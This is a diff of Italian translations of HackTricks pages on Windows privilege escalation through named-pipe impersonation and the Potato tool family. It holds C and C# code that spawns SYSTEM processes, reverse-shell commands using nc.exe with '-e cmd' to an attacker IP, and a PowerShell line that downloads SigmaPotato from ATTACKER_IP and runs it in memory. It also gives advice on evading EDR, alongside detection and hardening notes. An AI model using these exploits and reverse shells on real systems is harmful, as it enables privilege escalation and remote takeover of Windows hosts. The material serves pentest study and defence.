ImpersonateNamedPipeClient. - Apri il token di impersonation dal thread corrente, DuplicateTokenEx(TokenPrimary), e usa CreateProcessWithTokenW/CreateProcessAsUser per ottenere un processo SYSTEM. -## Requirements and key APIs -- Privileges typically needed by the calling process/thread: +## Requisiti e API principali +- Privilegi tipicamente necessari al processo/thread chiamante: - SeImpersonatePrivilege per impersonare con successo un client che si connette e per usare CreateProcessWithTokenW. - In alternativa, dopo aver impersonato SYSTEM, puoi usare CreateProcessAsUser, che può richiedere SeAssignPrimaryTokenPrivilege e SeIncreaseQuotaPrivilege (questi sono soddisfatti quando stai impersonando SYSTEM). -- Core APIs used: +- API principali usate: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (devi leggere almeno un messaggio prima dell'impersonation) +- ReadFile/WriteFile (devi leggere almeno un messaggio prima dell'impersonazione) - ImpersonateNamedPipeClient and RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) - CreateProcessWithTokenW or CreateProcessAsUser -- Impersonation level: per eseguire azioni utili localmente, il client deve permettere SecurityImpersonation (default per molti client RPC/named-pipe locali). I client possono abbassare questo livello con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION quando aprono la pipe. +- Livello di impersonation: per eseguire azioni utili localmente, il client deve permettere SecurityImpersonation (impostazione di default per molti client RPC/named-pipe locali). I client possono abbassare questo con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION quando aprono la pipe. -## Minimal Win32 workflow (C) +## Flusso Win32 minimale (C) ```c // Minimal skeleton (no error handling hardening for brevity) #include @@ -69,11 +69,11 @@ return 0; } ``` Note: -- Se ImpersonateNamedPipeClient restituisce ERROR_CANNOT_IMPERSONATE (1368), assicurati di leggere dalla pipe prima e che il client non abbia limitato l'impersonation al livello Identification. -- Preferisci DuplicateTokenEx con SecurityImpersonation e TokenPrimary per creare un token primario adatto alla creazione di un processo. +- Se ImpersonateNamedPipeClient restituisce ERROR_CANNOT_IMPERSONATE (1368), assicurati di leggere prima dalla pipe e che il client non abbia limitato l'impersonation al livello Identification. +- Preferire DuplicateTokenEx con SecurityImpersonation e TokenPrimary per creare un token primario adatto alla creazione di processi. ## .NET esempio rapido -In .NET, NamedPipeServerStream può eseguire impersonation tramite RunAsClient. Una volta in impersonation, duplica il token del thread e crea un processo. +In .NET, NamedPipeServerStream può impersonare tramite RunAsClient. Una volta impersonando, duplica il token del thread e crea un processo. ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Trigger/coercizioni comuni per far connettere SYSTEM alla tua named pipe -Queste tecniche costringono servizi privilegiati a connettersi alla tua named pipe così puoi impersonarli: +## Inneschi/coercizioni comuni per ottenere SYSTEM sulla tua named pipe +These techniques coerce privileged services to connect to your named pipe so you can impersonate them: - Print Spooler RPC trigger (PrintSpoofer) - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) -Vedi utilizzo dettagliato e compatibilità qui: +Consulta l'uso dettagliato e la compatibilità qui: - {{#ref}} @@ -110,26 +110,26 @@ roguepotato-and-printspoofer.md juicypotato.md {{#endref}} -Se ti serve solo un esempio completo di come creare la pipe e impersonare per spawnare SYSTEM da un trigger di servizio, vedi: +Se ti serve solo un esempio completo di crafting the pipe and impersonating to spawn SYSTEM from a service trigger, vedi: - {{#ref}} from-high-integrity-to-system-with-name-pipes.md {{#endref}} -## Risoluzione problemi e avvertenze +## Troubleshooting and gotchas - Devi leggere almeno un messaggio dalla pipe prima di chiamare ImpersonateNamedPipeClient; altrimenti otterrai ERROR_CANNOT_IMPERSONATE (1368). -- Se il client si connette con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, il server non può impersonare completamente; controlla il livello di impersonation del token tramite GetTokenInformation(TokenImpersonationLevel). -- CreateProcessWithTokenW richiede SeImpersonatePrivilege sul chiamante. Se fallisce con ERROR_PRIVILEGE_NOT_HELD (1314), usa CreateProcessAsUser dopo aver già impersonato SYSTEM. -- Assicurati che lo security descriptor della tua pipe permetta al servizio target di connettersi se lo hai reso più restrittivo; per default, le pipe sotto \\.\pipe sono accessibili secondo il DACL del server. +- Se il client si connette con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, il server non può impersonare completamente; verifica il livello di impersonation del token tramite GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW richiede SeImpersonatePrivilege sul chiamante. Se fallisce con ERROR_PRIVILEGE_NOT_HELD (1314), usa CreateProcessAsUser dopo che hai già impersonato SYSTEM. +- Assicurati che il security descriptor della tua pipe permetta al servizio target di connettersi se lo hai rinforzato; per default, le pipe sotto \\.\pipe sono accessibili secondo la DACL del server. -## Rilevamento e hardening -- Monitora la creazione e le connessioni delle named pipe. Sysmon Event IDs 17 (Pipe Created) e 18 (Pipe Connected) sono utili per creare una baseline dei nomi di pipe legittimi e individuare pipe insolite, dall'aspetto casuale, che precedono eventi di manipolazione del token. +## Detection and hardening +- Monitora la creazione e le connessioni alle named pipe. Sysmon Event IDs 17 (Pipe Created) e 18 (Pipe Connected) sono utili per creare una baseline dei nomi di pipe legittimi e catturare pipe insolite o dall'aspetto casuale che precedono eventi di token-manipulation. - Cerca sequenze: un processo crea una pipe, un servizio SYSTEM si connette, poi il processo creatore genera un figlio come SYSTEM. -- Riduci l'esposizione rimuovendo SeImpersonatePrivilege dagli account di servizio non essenziali ed evitando login di servizio non necessari con privilegi elevati. -- Defensive development: quando ti connetti a named pipe non attendibili, specifica SECURITY_SQOS_PRESENT con SECURITY_IDENTIFICATION per impedire ai server di impersonare completamente il client a meno che non sia necessario. +- Riduci l'esposizione rimuovendo SeImpersonatePrivilege dagli account di servizio non essenziali e evitando logon di servizio non necessari con privilegi elevati. +- Sviluppo difensivo: quando ti connetti a named pipe non attendibili, specifica SECURITY_SQOS_PRESENT con SECURITY_IDENTIFICATION per impedire ai server di impersonare completamente il client a meno che non sia necessario. -## Riferimenti +## References - Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient - ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index d084e0803..ad6fa5dc0 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,12 +3,12 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** possono essere usati per **ottenere gli stessi privilegi e raggiungere l'accesso a livello `NT AUTHORITY\SYSTEM`**. Questo [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondisce lo strumento `PrintSpoofer`, che può essere usato per abusare dei privilegi di impersonificazione su host Windows 10 e Server 2019 dove JuicyPotato non funziona più. +> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** possono essere usati per sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`. Questo [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondisce lo strumento `PrintSpoofer`, che può essere utilizzato per abusare dei privilegi di impersonazione su host Windows 10 e Server 2019 dove JuicyPotato non funziona più. > [!TIP] -> Un'alternativa moderna frequentemente mantenuta nel 2024–2025 è SigmaPotato (un fork di GodPotato) che aggiunge l'uso in-memory/.NET reflection e supporto esteso per OS. Vedi l'uso rapido più sotto e il repo nei Riferimenti. +> Un'alternativa moderna frequentemente mantenuta nel 2024–2025 è SigmaPotato (un fork di GodPotato) che aggiunge l'utilizzo in-memory/.NET reflection e supporto esteso per gli OS. Vedi l'uso rapido qui sotto e il repo in References. -Pagine correlate per contesto e tecniche manuali: +Related pages for background and manual techniques: {{#ref}} seimpersonate-from-high-to-system.md @@ -24,21 +24,21 @@ privilege-escalation-abusing-tokens.md ## Requisiti e problemi comuni -Tutte le seguenti tecniche si basano sull'abuso di un servizio privilegiato con capacità di impersonificazione da un contesto che detiene uno dei seguenti privilegi: +Tutte le tecniche seguenti si basano sull'abuso di un servizio privilegiato in grado di impersonare da un contesto che possiede uno dei seguenti privilegi: - SeImpersonatePrivilege (il più comune) o SeAssignPrimaryTokenPrivilege -- Non è richiesta integrità elevata se il token possiede già SeImpersonatePrivilege (tipico per molti account di servizio come IIS AppPool, MSSQL, ecc.) +- Non è richiesta l'integrità elevata se il token ha già SeImpersonatePrivilege (tipico per molti account di servizio come IIS AppPool, MSSQL, ecc.) -Verifica rapidamente i privilegi: +Controlla rapidamente i privilegi: ```cmd whoami /priv | findstr /i impersonate ``` -Note operative: +Operational notes: -- PrintSpoofer richiede che il servizio Print Spooler sia in esecuzione e raggiungibile tramite l'endpoint RPC locale (spoolss). In ambienti hardenizzati dove lo Spooler è disabilitato dopo PrintNightmare, preferire RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato richiede un resolver OXID raggiungibile su TCP/135. Se l'egress è bloccato, usare un redirector/port-forwarder (vedi esempio sotto). Build più vecchie richiedevano il flag -f. -- EfsPotato/SharpEfsPotato abusano di MS-EFSR; se una pipe è bloccata, provare pipe alternative (lsarpc, efsrpc, samr, lsass, netlogon). -- L'errore 0x6d3 durante RpcBindingSetAuthInfo indica tipicamente un servizio di autenticazione RPC sconosciuto/non supportato; provare una pipe/transport diverso o assicurarsi che il servizio target sia in esecuzione. +- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag. +- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon). +- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running. ## Demo rapida @@ -58,8 +58,8 @@ NULL ``` Note: -- Puoi usare -i per avviare un processo interattivo nella console corrente, oppure -c per eseguire un one-liner. -- Richiede il servizio Spooler. Se è disabilitato, questo fallirà. +- Puoi usare -i per avviare un processo interattivo nella console corrente, oppure -c per eseguire una one-liner. +- Richiede il servizio Spooler. Se disabilitato, questo fallirà. ### RoguePotato ```bash @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Se outbound 135 è bloccato, pivot the OXID resolver via socat on your redirector: +Se la porta 135 in uscita è bloccata, pivot l'OXID resolver tramite socat sul tuo redirector: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -Suggerimento: se una pipe fallisce o l'EDR la blocca, prova le altre pipe supportate: +Suggerimento: Se una pipe fallisce o l'EDR la blocca, prova le altre pipe supportate: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -123,13 +123,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` Note: -- Funziona su Windows 8/8.1–11 e Server 2012–2022 quando è presente SeImpersonatePrivilege. +- Funziona su Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege è presente. ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato provides two variants targeting service DCOM objects that default to RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa i binari forniti ed esegui il tuo comando: +DCOMPotato fornisce due varianti che prendono di mira gli oggetti DCOM dei servizi che per impostazione predefinita usano RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa i binari forniti ed esegui il tuo comando: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (fork di GodPotato aggiornato) +### SigmaPotato (fork aggiornato di GodPotato) -SigmaPotato aggiunge funzionalità moderne come in-memory execution tramite .NET reflection e un helper per PowerShell reverse shell. +SigmaPotato aggiunge funzionalità moderne come in-memory execution tramite .NET reflection e un PowerShell reverse shell helper. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -148,13 +148,13 @@ SigmaPotato aggiunge funzionalità moderne come in-memory execution tramite .NET # Or ask it to spawn a PS reverse shell [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444")) ``` -## Rilevamento e note di hardening +## Note sul rilevamento e sull'hardening -- Monitorare i processi che creano named pipes e che chiamano immediatamente token-duplication APIs seguite da CreateProcessAsUser/CreateProcessWithTokenW. Sysmon può fornire telemetria utile: Event ID 1 (process creation), 17/18 (named pipe created/connected) e linee di comando che avviano processi figli come SYSTEM. -- Spooler hardening: Disabilitare il servizio Print Spooler sui server dove non è necessario previene coercizioni locali in stile PrintSpoofer via spoolss. -- Service account hardening: Minimizzare l'assegnazione di SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege ai servizi custom. Considerare l'esecuzione dei servizi sotto virtual accounts con i privilegi minimi richiesti e isolarli con service SID e write-restricted tokens quando possibile. -- Network controls: Bloccare il traffico TCP/135 in uscita o limitare il traffico dell'RPC endpoint mapper può rompere RoguePotato a meno che non sia disponibile un redirector interno. -- EDR/AV: Tutti questi strumenti sono ampiamente rilevati tramite signature. Ricompilare dal sorgente, rinominare simboli/stringhe o usare l'esecuzione in-memory può ridurre il rilevamento ma non sconfiggerà robuste rilevazioni comportamentali. +- Monitorare i processi che creano named pipes e che invocano immediatamente token-duplication APIs seguite da CreateProcessAsUser/CreateProcessWithTokenW. Sysmon può fornire telemetria utile: Event ID 1 (process creation), 17/18 (named pipe created/connected), e command line che generano processi figlio come SYSTEM. +- Spooler hardening: Disabilitare il Print Spooler service sui server dove non è necessario previene coercizioni locali in stile PrintSpoofer tramite spoolss. +- Service account hardening: Minimizzare l'assegnazione di SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege ai servizi custom. Valutare l'esecuzione dei servizi sotto virtual accounts con i privilegi minimi necessari e il loro isolamento tramite service SID e write-restricted tokens quando possibile. +- Network controls: Bloccare il traffico outbound TCP/135 o limitare il traffico dell'RPC endpoint mapper può interrompere RoguePotato a meno che non sia disponibile un redirector interno. +- EDR/AV: Tutti questi strumenti sono ampiamente rilevabili tramite firme. Ricompilare dai sorgenti, rinominare simboli/stringhe o usare l'esecuzione in-memory può ridurre il rilevamento ma non sconfiggerà robuste rilevazioni basate sul comportamento. ## Riferimenti